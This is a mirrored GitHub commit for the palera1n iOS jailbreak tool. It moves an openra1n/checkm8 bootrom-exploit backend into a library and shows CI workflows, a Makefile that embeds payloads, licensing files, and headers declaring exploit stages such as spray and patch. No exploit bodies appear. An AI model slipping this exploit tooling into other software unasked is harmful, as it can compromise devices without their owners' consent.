mirror of
https://github.com/palera1n/palera1n.git
synced 2026-10-21 01:37:02 +02:00
refactor: libciderra1n support (#764)
* refactor refactor: remove wdi refactor: move openra1n to its own library refactor: move everything standalone file to src root * submodule * okay these shouldnt of been included * remove * readd * fix openra1n libusb * liteusb for ra1ncovery * fix action * token * whatever lwra bw apwxidix * I knew this was gonna happen * fix mac build * what if this doesnt work * okay bro * lzma resources * rename * use idevice++, fix multiple devices, enter recovery * whatever * fix * --force-enable-ssv * improve exploit stuff, mirror tui logic to gui also cooool logging for libopenra1n * fix idevice windows build * lets not be fancy * new idevice patch * easier to read * lets hope this action works! * remove useless ifs * not required for non tui * PLEASE COMPILE * gsed lmao * this might work idk * whatever bro * ah * amd fix * fix ts * fix * licensing * update paleinfo * LETS NOT do that * forgot a file
This commit is contained in:
128 files changed
+12054
-3114
No files matched your search
+73
-22
@@ -89,18 +89,21 @@ jobs:
|
|||||||
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
with:
|
||||||
|
token: ${{ secrets.BUILD_GITHUB_TOKEN }}
|
||||||
|
submodules: recursive
|
||||||
|
|
||||||
- name: Download Pongo
|
- name: Download Pongo
|
||||||
uses: actions/download-artifact@v4
|
uses: actions/download-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: pongo
|
name: pongo
|
||||||
path: payloads/
|
path: embedded/
|
||||||
|
|
||||||
- name: Download embedded artifacts
|
- name: Download embedded artifacts
|
||||||
uses: actions/download-artifact@v4
|
uses: actions/download-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: embedded
|
name: embedded
|
||||||
path: payloads/
|
path: embedded/
|
||||||
|
|
||||||
- name: Download musl toolchain
|
- name: Download musl toolchain
|
||||||
run: |
|
run: |
|
||||||
@@ -109,6 +112,23 @@ jobs:
|
|||||||
find ./${{ matrix.triple }}-cross -name "*.la" -type f -delete
|
find ./${{ matrix.triple }}-cross -name "*.la" -type f -delete
|
||||||
echo "$(pwd)/${{ matrix.triple }}-cross/bin" >> $GITHUB_PATH
|
echo "$(pwd)/${{ matrix.triple }}-cross/bin" >> $GITHUB_PATH
|
||||||
|
|
||||||
|
- name: Install Rust target
|
||||||
|
run: |
|
||||||
|
case "${{ matrix.triple }}" in
|
||||||
|
i486-linux-musl)
|
||||||
|
rustup target add i686-unknown-linux-musl
|
||||||
|
;;
|
||||||
|
x86_64-linux-musl)
|
||||||
|
rustup target add x86_64-unknown-linux-musl
|
||||||
|
;;
|
||||||
|
armel-linux-musleabi)
|
||||||
|
rustup target add arm-unknown-linux-musleabi
|
||||||
|
;;
|
||||||
|
aarch64-linux-musl)
|
||||||
|
rustup target add aarch64-unknown-linux-musl
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
- name: Install dependencies (apt)
|
- name: Install dependencies (apt)
|
||||||
run: |
|
run: |
|
||||||
sudo apt update
|
sudo apt update
|
||||||
@@ -122,6 +142,7 @@ jobs:
|
|||||||
make palera1n \
|
make palera1n \
|
||||||
WITH_STATIC=1 \
|
WITH_STATIC=1 \
|
||||||
WITH_TUI=1 \
|
WITH_TUI=1 \
|
||||||
|
WITH_CIDERRAIN=1 \
|
||||||
BUILD_TYPE=Release \
|
BUILD_TYPE=Release \
|
||||||
CMAKE_SYSROOT="$SYSROOT_PATH" \
|
CMAKE_SYSROOT="$SYSROOT_PATH" \
|
||||||
CROSS_HOST_TRIPLE="${{ matrix.triple }}" \
|
CROSS_HOST_TRIPLE="${{ matrix.triple }}" \
|
||||||
@@ -149,18 +170,21 @@ jobs:
|
|||||||
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
with:
|
||||||
|
token: ${{ secrets.BUILD_GITHUB_TOKEN }}
|
||||||
|
submodules: recursive
|
||||||
|
|
||||||
- name: Download Pongo
|
- name: Download Pongo
|
||||||
uses: actions/download-artifact@v4
|
uses: actions/download-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: pongo
|
name: pongo
|
||||||
path: payloads/
|
path: embedded/
|
||||||
|
|
||||||
- name : Download embedded artifacts
|
- name : Download embedded artifacts
|
||||||
uses: actions/download-artifact@v4
|
uses: actions/download-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: embedded
|
name: embedded
|
||||||
path: payloads/
|
path: embedded/
|
||||||
|
|
||||||
- name: Install dependencies (brew)
|
- name: Install dependencies (brew)
|
||||||
run: |
|
run: |
|
||||||
@@ -169,7 +193,7 @@ jobs:
|
|||||||
|
|
||||||
- name: Build
|
- name: Build
|
||||||
run: |
|
run: |
|
||||||
make palera1n WITH_STATIC=1 WITH_GUI=1 WITH_TUI=1 BUILD_TYPE=Release JOBS=$(sysctl -n hw.ncpu)
|
make palera1n WITH_STATIC=1 WITH_GUI=1 WITH_TUI=1 WITH_CIDERRAIN=1 BUILD_TYPE=Release JOBS=$(sysctl -n hw.ncpu)
|
||||||
strip -x build/palera1n.app/Contents/MacOS/palera1n
|
strip -x build/palera1n.app/Contents/MacOS/palera1n
|
||||||
|
|
||||||
- name: Package
|
- name: Package
|
||||||
@@ -183,6 +207,45 @@ jobs:
|
|||||||
path: |
|
path: |
|
||||||
build/palera1n-macos-${{ matrix.arch }}.zip
|
build/palera1n-macos-${{ matrix.arch }}.zip
|
||||||
|
|
||||||
|
build-ios:
|
||||||
|
runs-on: macos-latest
|
||||||
|
needs: [build-pongo, build-ramdisk]
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
with:
|
||||||
|
token: ${{ secrets.BUILD_GITHUB_TOKEN }}
|
||||||
|
submodules: recursive
|
||||||
|
|
||||||
|
- name: Download Pongo
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: pongo
|
||||||
|
path: embedded/
|
||||||
|
|
||||||
|
- name : Download embedded artifacts
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: embedded
|
||||||
|
path: embedded/
|
||||||
|
|
||||||
|
- name: Install dependencies (brew)
|
||||||
|
run: |
|
||||||
|
brew update
|
||||||
|
brew install cmake libtool gnu-sed
|
||||||
|
|
||||||
|
- name: Build
|
||||||
|
run: |
|
||||||
|
make palera1n_xcode PLATFORM=iphoneos WITH_STATIC=1 BUILD_TYPE=Release JOBS=$(sysctl -n hw.ncpu)
|
||||||
|
cmake --build build
|
||||||
|
|
||||||
|
- name: Upload
|
||||||
|
uses: actions/upload-artifact@v4
|
||||||
|
with:
|
||||||
|
name: palera1n-iphoneos-arm64
|
||||||
|
path: |
|
||||||
|
build/Debug-iphoneos/palera1n.app/palera1n
|
||||||
|
|
||||||
build-macos-universal:
|
build-macos-universal:
|
||||||
runs-on: macos-latest
|
runs-on: macos-latest
|
||||||
needs: [build-macos]
|
needs: [build-macos]
|
||||||
@@ -243,12 +306,6 @@ jobs:
|
|||||||
runs-on: windows-latest
|
runs-on: windows-latest
|
||||||
needs: [build-pongo, build-ramdisk]
|
needs: [build-pongo, build-ramdisk]
|
||||||
|
|
||||||
env:
|
|
||||||
LIBUSBK_VERSION: libusbK-3.1.0.0-bin
|
|
||||||
LIBUSBK_URL: https://github.com/mcuee/libusbk/releases/download/V3.1.0.0/
|
|
||||||
LIBUSBK_WDFCOINSTALLER: libusbK/bin/sys/amd64/WdfCoInstaller01009.dll
|
|
||||||
LIBUSBK_WDFCOINSTALLER_RENAMED: libusbK/bin/sys/amd64/WdfCoInstaller1011.dll
|
|
||||||
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
@@ -256,21 +313,13 @@ jobs:
|
|||||||
uses: actions/download-artifact@v4
|
uses: actions/download-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: pongo
|
name: pongo
|
||||||
path: payloads/
|
path: embedded/
|
||||||
|
|
||||||
- name: Download embedded artifacts
|
- name: Download embedded artifacts
|
||||||
uses: actions/download-artifact@v4
|
uses: actions/download-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: embedded
|
name: embedded
|
||||||
path: payloads/
|
path: embedded/
|
||||||
|
|
||||||
- name: Download libusbK drivers
|
|
||||||
shell: bash
|
|
||||||
run: |
|
|
||||||
curl -LO "${LIBUSBK_URL}${LIBUSBK_VERSION}.7z"
|
|
||||||
7z x "${LIBUSBK_VERSION}.7z" -olibusbK-tmp
|
|
||||||
mv "libusbK-tmp/${LIBUSBK_VERSION}" libusbK
|
|
||||||
mv "${LIBUSBK_WDFCOINSTALLER}" "${LIBUSBK_WDFCOINSTALLER_RENAMED}"
|
|
||||||
|
|
||||||
- name: Install dependencies (choco)
|
- name: Install dependencies (choco)
|
||||||
run: choco install nsis.portable
|
run: choco install nsis.portable
|
||||||
@@ -283,6 +332,8 @@ jobs:
|
|||||||
git
|
git
|
||||||
mingw-w64-x86_64-toolchain
|
mingw-w64-x86_64-toolchain
|
||||||
mingw-w64-x86_64-cmake
|
mingw-w64-x86_64-cmake
|
||||||
|
mingw-w64-x86_64-libusb
|
||||||
|
mingw-w64-x86_64-rust
|
||||||
libtool
|
libtool
|
||||||
openssl
|
openssl
|
||||||
openssl-devel
|
openssl-devel
|
||||||
@@ -300,7 +351,7 @@ jobs:
|
|||||||
run: |
|
run: |
|
||||||
make palera1n_mingw WITH_STATIC=1 WITH_GUI=1 BUILD_TYPE=Release JOBS=$(nproc)
|
make palera1n_mingw WITH_STATIC=1 WITH_GUI=1 BUILD_TYPE=Release JOBS=$(nproc)
|
||||||
strip -s build/palera1n.exe
|
strip -s build/palera1n.exe
|
||||||
|
|
||||||
- name: Package
|
- name: Package
|
||||||
run: |
|
run: |
|
||||||
mkdir -p dist\installer
|
mkdir -p dist\installer
|
||||||
|
|||||||
+8
-5
@@ -2,15 +2,18 @@ build/
|
|||||||
dist/
|
dist/
|
||||||
.DS_Store
|
.DS_Store
|
||||||
|
|
||||||
src/gen/
|
gen/
|
||||||
payloads/Pongo.bin
|
embedded/Pongo.bin
|
||||||
payloads/checkra1n-kpf-pongo
|
embedded/checkra1n-kpf-pongo
|
||||||
payloads/ramdisk.dmg
|
embedded/ramdisk.dmg
|
||||||
payloads/binpack.dmg
|
embedded/binpack.dmg
|
||||||
|
|
||||||
|
apple-include-*
|
||||||
libusbK/
|
libusbK/
|
||||||
libusbK-tmp/
|
libusbK-tmp/
|
||||||
|
|
||||||
*.7z
|
*.7z
|
||||||
*.tgz
|
*.tgz
|
||||||
*.tar.gz
|
*.tar.gz
|
||||||
|
*.lzma
|
||||||
*-cross
|
*-cross
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
[submodule "1stparty/libciderra1n"]
|
||||||
|
path = 1stparty/libciderra1n
|
||||||
|
url = https://github.com/kok3shidoll/libciderra1n.git
|
||||||
Submodule
+1
Submodule 1stparty/libciderra1n added at fcb70e481b.
@@ -0,0 +1,201 @@
|
|||||||
|
Apache License
|
||||||
|
Version 2.0, January 2004
|
||||||
|
http://www.apache.org/licenses/
|
||||||
|
|
||||||
|
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||||
|
|
||||||
|
1. Definitions.
|
||||||
|
|
||||||
|
"License" shall mean the terms and conditions for use, reproduction,
|
||||||
|
and distribution as defined by Sections 1 through 9 of this document.
|
||||||
|
|
||||||
|
"Licensor" shall mean the copyright owner or entity authorized by
|
||||||
|
the copyright owner that is granting the License.
|
||||||
|
|
||||||
|
"Legal Entity" shall mean the union of the acting entity and all
|
||||||
|
other entities that control, are controlled by, or are under common
|
||||||
|
control with that entity. For the purposes of this definition,
|
||||||
|
"control" means (i) the power, direct or indirect, to cause the
|
||||||
|
direction or management of such entity, whether by contract or
|
||||||
|
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||||
|
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||||
|
|
||||||
|
"You" (or "Your") shall mean an individual or Legal Entity
|
||||||
|
exercising permissions granted by this License.
|
||||||
|
|
||||||
|
"Source" form shall mean the preferred form for making modifications,
|
||||||
|
including but not limited to software source code, documentation
|
||||||
|
source, and configuration files.
|
||||||
|
|
||||||
|
"Object" form shall mean any form resulting from mechanical
|
||||||
|
transformation or translation of a Source form, including but
|
||||||
|
not limited to compiled object code, generated documentation,
|
||||||
|
and conversions to other media types.
|
||||||
|
|
||||||
|
"Work" shall mean the work of authorship, whether in Source or
|
||||||
|
Object form, made available under the License, as indicated by a
|
||||||
|
copyright notice that is included in or attached to the work
|
||||||
|
(an example is provided in the Appendix below).
|
||||||
|
|
||||||
|
"Derivative Works" shall mean any work, whether in Source or Object
|
||||||
|
form, that is based on (or derived from) the Work and for which the
|
||||||
|
editorial revisions, annotations, elaborations, or other modifications
|
||||||
|
represent, as a whole, an original work of authorship. For the purposes
|
||||||
|
of this License, Derivative Works shall not include works that remain
|
||||||
|
separable from, or merely link (or bind by name) to the interfaces of,
|
||||||
|
the Work and Derivative Works thereof.
|
||||||
|
|
||||||
|
"Contribution" shall mean any work of authorship, including
|
||||||
|
the original version of the Work and any modifications or additions
|
||||||
|
to that Work or Derivative Works thereof, that is intentionally
|
||||||
|
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||||
|
or by an individual or Legal Entity authorized to submit on behalf of
|
||||||
|
the copyright owner. For the purposes of this definition, "submitted"
|
||||||
|
means any form of electronic, verbal, or written communication sent
|
||||||
|
to the Licensor or its representatives, including but not limited to
|
||||||
|
communication on electronic mailing lists, source code control systems,
|
||||||
|
and issue tracking systems that are managed by, or on behalf of, the
|
||||||
|
Licensor for the purpose of discussing and improving the Work, but
|
||||||
|
excluding communication that is conspicuously marked or otherwise
|
||||||
|
designated in writing by the copyright owner as "Not a Contribution."
|
||||||
|
|
||||||
|
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||||
|
on behalf of whom a Contribution has been received by Licensor and
|
||||||
|
subsequently incorporated within the Work.
|
||||||
|
|
||||||
|
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||||
|
this License, each Contributor hereby grants to You a perpetual,
|
||||||
|
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||||
|
copyright license to reproduce, prepare Derivative Works of,
|
||||||
|
publicly display, publicly perform, sublicense, and distribute the
|
||||||
|
Work and such Derivative Works in Source or Object form.
|
||||||
|
|
||||||
|
3. Grant of Patent License. Subject to the terms and conditions of
|
||||||
|
this License, each Contributor hereby grants to You a perpetual,
|
||||||
|
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||||
|
(except as stated in this section) patent license to make, have made,
|
||||||
|
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||||
|
where such license applies only to those patent claims licensable
|
||||||
|
by such Contributor that are necessarily infringed by their
|
||||||
|
Contribution(s) alone or by combination of their Contribution(s)
|
||||||
|
with the Work to which such Contribution(s) was submitted. If You
|
||||||
|
institute patent litigation against any entity (including a
|
||||||
|
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||||
|
or a Contribution incorporated within the Work constitutes direct
|
||||||
|
or contributory patent infringement, then any patent licenses
|
||||||
|
granted to You under this License for that Work shall terminate
|
||||||
|
as of the date such litigation is filed.
|
||||||
|
|
||||||
|
4. Redistribution. You may reproduce and distribute copies of the
|
||||||
|
Work or Derivative Works thereof in any medium, with or without
|
||||||
|
modifications, and in Source or Object form, provided that You
|
||||||
|
meet the following conditions:
|
||||||
|
|
||||||
|
(a) You must give any other recipients of the Work or
|
||||||
|
Derivative Works a copy of this License; and
|
||||||
|
|
||||||
|
(b) You must cause any modified files to carry prominent notices
|
||||||
|
stating that You changed the files; and
|
||||||
|
|
||||||
|
(c) You must retain, in the Source form of any Derivative Works
|
||||||
|
that You distribute, all copyright, patent, trademark, and
|
||||||
|
attribution notices from the Source form of the Work,
|
||||||
|
excluding those notices that do not pertain to any part of
|
||||||
|
the Derivative Works; and
|
||||||
|
|
||||||
|
(d) If the Work includes a "NOTICE" text file as part of its
|
||||||
|
distribution, then any Derivative Works that You distribute must
|
||||||
|
include a readable copy of the attribution notices contained
|
||||||
|
within such NOTICE file, excluding those notices that do not
|
||||||
|
pertain to any part of the Derivative Works, in at least one
|
||||||
|
of the following places: within a NOTICE text file distributed
|
||||||
|
as part of the Derivative Works; within the Source form or
|
||||||
|
documentation, if provided along with the Derivative Works; or,
|
||||||
|
within a display generated by the Derivative Works, if and
|
||||||
|
wherever such third-party notices normally appear. The contents
|
||||||
|
of the NOTICE file are for informational purposes only and
|
||||||
|
do not modify the License. You may add Your own attribution
|
||||||
|
notices within Derivative Works that You distribute, alongside
|
||||||
|
or as an addendum to the NOTICE text from the Work, provided
|
||||||
|
that such additional attribution notices cannot be construed
|
||||||
|
as modifying the License.
|
||||||
|
|
||||||
|
You may add Your own copyright statement to Your modifications and
|
||||||
|
may provide additional or different license terms and conditions
|
||||||
|
for use, reproduction, or distribution of Your modifications, or
|
||||||
|
for any such Derivative Works as a whole, provided Your use,
|
||||||
|
reproduction, and distribution of the Work otherwise complies with
|
||||||
|
the conditions stated in this License.
|
||||||
|
|
||||||
|
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||||
|
any Contribution intentionally submitted for inclusion in the Work
|
||||||
|
by You to the Licensor shall be under the terms and conditions of
|
||||||
|
this License, without any additional terms or conditions.
|
||||||
|
Notwithstanding the above, nothing herein shall supersede or modify
|
||||||
|
the terms of any separate license agreement you may have executed
|
||||||
|
with Licensor regarding such Contributions.
|
||||||
|
|
||||||
|
6. Trademarks. This License does not grant permission to use the trade
|
||||||
|
names, trademarks, service marks, or product names of the Licensor,
|
||||||
|
except as required for reasonable and customary use in describing the
|
||||||
|
origin of the Work and reproducing the content of the NOTICE file.
|
||||||
|
|
||||||
|
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||||
|
agreed to in writing, Licensor provides the Work (and each
|
||||||
|
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||||
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||||
|
implied, including, without limitation, any warranties or conditions
|
||||||
|
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||||
|
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||||
|
appropriateness of using or redistributing the Work and assume any
|
||||||
|
risks associated with Your exercise of permissions under this License.
|
||||||
|
|
||||||
|
8. Limitation of Liability. In no event and under no legal theory,
|
||||||
|
whether in tort (including negligence), contract, or otherwise,
|
||||||
|
unless required by applicable law (such as deliberate and grossly
|
||||||
|
negligent acts) or agreed to in writing, shall any Contributor be
|
||||||
|
liable to You for damages, including any direct, indirect, special,
|
||||||
|
incidental, or consequential damages of any character arising as a
|
||||||
|
result of this License or out of the use or inability to use the
|
||||||
|
Work (including but not limited to damages for loss of goodwill,
|
||||||
|
work stoppage, computer failure or malfunction, or any and all
|
||||||
|
other commercial damages or losses), even if such Contributor
|
||||||
|
has been advised of the possibility of such damages.
|
||||||
|
|
||||||
|
9. Accepting Warranty or Additional Liability. While redistributing
|
||||||
|
the Work or Derivative Works thereof, You may choose to offer,
|
||||||
|
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||||
|
or other liability obligations and/or rights consistent with this
|
||||||
|
License. However, in accepting such obligations, You may act only
|
||||||
|
on Your own behalf and on Your sole responsibility, not on behalf
|
||||||
|
of any other Contributor, and only if You agree to indemnify,
|
||||||
|
defend, and hold each Contributor harmless for any liability
|
||||||
|
incurred by, or claims asserted against, such Contributor by reason
|
||||||
|
of your accepting any such warranty or additional liability.
|
||||||
|
|
||||||
|
END OF TERMS AND CONDITIONS
|
||||||
|
|
||||||
|
APPENDIX: How to apply the Apache License to your work.
|
||||||
|
|
||||||
|
To apply the Apache License to your work, attach the following
|
||||||
|
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||||
|
replaced with your own identifying information. (Don't include
|
||||||
|
the brackets!) The text should be enclosed in the appropriate
|
||||||
|
comment syntax for the file format. We also recommend that a
|
||||||
|
file or class name and description of purpose be included on the
|
||||||
|
same "printed page" as the copyright notice for easier
|
||||||
|
identification within third-party archives.
|
||||||
|
|
||||||
|
Copyright [yyyy] [name of copyright owner]
|
||||||
|
|
||||||
|
Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
you may not use this file except in compliance with the License.
|
||||||
|
You may obtain a copy of the License at
|
||||||
|
|
||||||
|
http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
|
||||||
|
Unless required by applicable law or agreed to in writing, software
|
||||||
|
distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
See the License for the specific language governing permissions and
|
||||||
|
limitations under the License.
|
||||||
@@ -0,0 +1,65 @@
|
|||||||
|
RM ?= rm
|
||||||
|
MKDIR ?= mkdir
|
||||||
|
CP ?= cp
|
||||||
|
CC ?= cc
|
||||||
|
AR ?= ar
|
||||||
|
ARFLAGS ?= rcs
|
||||||
|
XXD ?= xxd
|
||||||
|
SED ?= sed
|
||||||
|
|
||||||
|
BUILD := build
|
||||||
|
SRC := src
|
||||||
|
INCLUDE := include
|
||||||
|
|
||||||
|
OBJDIR = $(SRC)/build
|
||||||
|
LIBDIR := $(BUILD)/lib
|
||||||
|
INCDIR := $(BUILD)/include
|
||||||
|
|
||||||
|
NAME := openra1n
|
||||||
|
LIBNAME := lib$(NAME).a
|
||||||
|
|
||||||
|
CFLAGS += -I$(INCLUDE) -I$(SRC) -I$(SRC)/gen
|
||||||
|
|
||||||
|
SRCS := $(shell find $(SRC) -name '*.c')
|
||||||
|
OBJS := $(patsubst $(SRC)/%.c,$(OBJDIR)/%.o,$(SRCS))
|
||||||
|
|
||||||
|
.PHONY: all payloads library headers clean
|
||||||
|
|
||||||
|
all: payloads library headers
|
||||||
|
|
||||||
|
payloads:
|
||||||
|
$(MKDIR) -p $(INCLUDE)/gen/payloads
|
||||||
|
|
||||||
|
@for file in payloads/*; do \
|
||||||
|
name=$$(basename "$$file"); \
|
||||||
|
name=$${name%.*}; \
|
||||||
|
echo " XXD $$file"; \
|
||||||
|
echo "#pragma once" > "$(INCLUDE)/gen/payloads/$$name.h"; \
|
||||||
|
$(XXD) -i "$$file" \
|
||||||
|
| $(SED) 's/unsigned char/static const unsigned char/g' \
|
||||||
|
| $(SED) 's/unsigned int/static const size_t/g' \
|
||||||
|
>> "$(INCLUDE)/gen/payloads/$$name.h"; \
|
||||||
|
done
|
||||||
|
|
||||||
|
$(OBJDIR)/%.o: $(SRC)/%.c
|
||||||
|
@$(MKDIR) -p $(dir $@)
|
||||||
|
$(CC) $(CFLAGS) -c $< -o $@
|
||||||
|
|
||||||
|
library: $(OBJS)
|
||||||
|
$(MKDIR) -p $(LIBDIR)/${NAME}
|
||||||
|
$(AR) $(ARFLAGS) $(LIBDIR)/${NAME}/$(LIBNAME) $(OBJS)
|
||||||
|
|
||||||
|
headers:
|
||||||
|
$(MKDIR) -p $(INCDIR)/${NAME}
|
||||||
|
$(CP) $(INCLUDE)/checkm8.h \
|
||||||
|
$(INCLUDE)/shim.h \
|
||||||
|
$(INCLUDE)/usb_iokit.h \
|
||||||
|
$(INCLUDE)/usb_libusb.h \
|
||||||
|
$(INCLUDE)/dfu.h \
|
||||||
|
$(INCLUDE)/payload.h \
|
||||||
|
$(INCLUDE)/utils.h \
|
||||||
|
$(INCDIR)/${NAME}/
|
||||||
|
|
||||||
|
clean:
|
||||||
|
$(RM) -rf $(BUILD)
|
||||||
|
$(RM) -rf $(SRC)/$(BUILD)
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
Gaster
|
||||||
|
Copyright (c) 2023 0x7ff
|
||||||
|
|
||||||
|
Openra1n
|
||||||
|
Copyright (c) 2024 Mineek.
|
||||||
|
|
||||||
|
Gaster was modified by Mineek to include support for booting PongoOS
|
||||||
|
payloads, by sending the device into download mode with extracted
|
||||||
|
stage2 payloads from Checkra1n.
|
||||||
|
|
||||||
|
libOpenra1n
|
||||||
|
Copyright (c) 2026 palera1n team
|
||||||
|
|
||||||
|
Openra1n was modified into a importable library for use in palera1n,
|
||||||
|
(libOpenra1n) along side another checkm8 backend (closed source).
|
||||||
|
|
||||||
|
Many changes included are mainly for overall better practices and
|
||||||
|
readability, like better error handling. Other changes include
|
||||||
|
more verbose logging, fixes for libusb/iokit, and a ROP generator.
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
# openra1n
|
||||||
|
custom pongoOS booter for checkra1n 1337
|
||||||
|
|
||||||
|
## Attributions
|
||||||
|
- [gaster](https://github.com/0x7ff/gaster) - base of the project
|
||||||
|
- [checkra1n](https://checkra.in/) - yeah, do i really need to explain this one?
|
||||||
|
- [ra1npoc15](https://github.com/kok3shidoll/ra1npoc) - payloads
|
||||||
@@ -0,0 +1,63 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (c) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: Apache-2.0
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LIBOPENRA1N__CHECKM8_H
|
||||||
|
#define LIBOPENRA1N__CHECKM8_H
|
||||||
|
|
||||||
|
#include <stdbool.h>
|
||||||
|
|
||||||
|
#include "payload.h"
|
||||||
|
#include "shim.h"
|
||||||
|
|
||||||
|
#define EP0_MAX_PACKET_SZ (0x40)
|
||||||
|
#define USB_MAX_STRING_DESCRIPTOR_IDX (10)
|
||||||
|
|
||||||
|
#ifndef MIN
|
||||||
|
# define MIN(a, b) ((a) < (b) ? (a) : (b))
|
||||||
|
#endif
|
||||||
|
|
||||||
|
typedef enum {
|
||||||
|
CHECKM8_ERR_NONE = 0,
|
||||||
|
CHECKM8_ERR_UNSUPPORTED = 1,
|
||||||
|
CHECKM8_ERR_TRANSFER_FAILED = 3,
|
||||||
|
CHECKM8_ERR_TIMEOUT = 4,
|
||||||
|
CHECKM8_ERR_ABORT = 5,
|
||||||
|
CHECKM8_ERR_INVALID_PAYLOAD = 15,
|
||||||
|
|
||||||
|
CHECKM8_ERR_UNDEFINED = 255,
|
||||||
|
} checkm8_err_t;
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
char *get_usb_serial_number(usb_handle_t *handle);
|
||||||
|
checkm8_err_t checkm8_stage_reset(const usb_handle_t *handle);
|
||||||
|
checkm8_err_t checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig);
|
||||||
|
checkm8_err_t checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig);
|
||||||
|
checkm8_err_t checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig);
|
||||||
|
bool prepare_pongo(uint8_t **out, size_t *out_len, const uint8_t *pongo_bin, size_t pongo_bin_len);
|
||||||
|
checkm8_err_t checkm8_boot_pongo(usb_handle_t *handle, const uint8_t *pongo_bin, size_t pongo_bin_len);
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // LIBOPENRA1N__CHECKM8_H
|
||||||
@@ -0,0 +1,56 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (c) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: Apache-2.0
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LIBOPENRA1N__DFU_H
|
||||||
|
#define LIBOPENRA1N__DFU_H
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
|
||||||
|
#define DFU_DNLOAD 1
|
||||||
|
#define DFU_UPLOAD 2
|
||||||
|
#define DFU_GET_STATUS 3
|
||||||
|
#define DFU_CLR_STATUS 4
|
||||||
|
#define DFU_GETSTATE 5
|
||||||
|
#define DFU_ABORT 6
|
||||||
|
|
||||||
|
#define DFU_FILE_SUFFIX_LEN 16
|
||||||
|
#define EP0_MAX_PACKET_SIZE 0x40
|
||||||
|
#define DFU_MAX_TRANSFER_SZ 0x800
|
||||||
|
#define DFU_STATUS_OK 0
|
||||||
|
#define DFU_STATE_MANIFEST_SYNC 6
|
||||||
|
#define DFU_STATE_MANIFEST 7
|
||||||
|
#define DFU_STATE_MANIFEST_WAIT_RESET 8
|
||||||
|
|
||||||
|
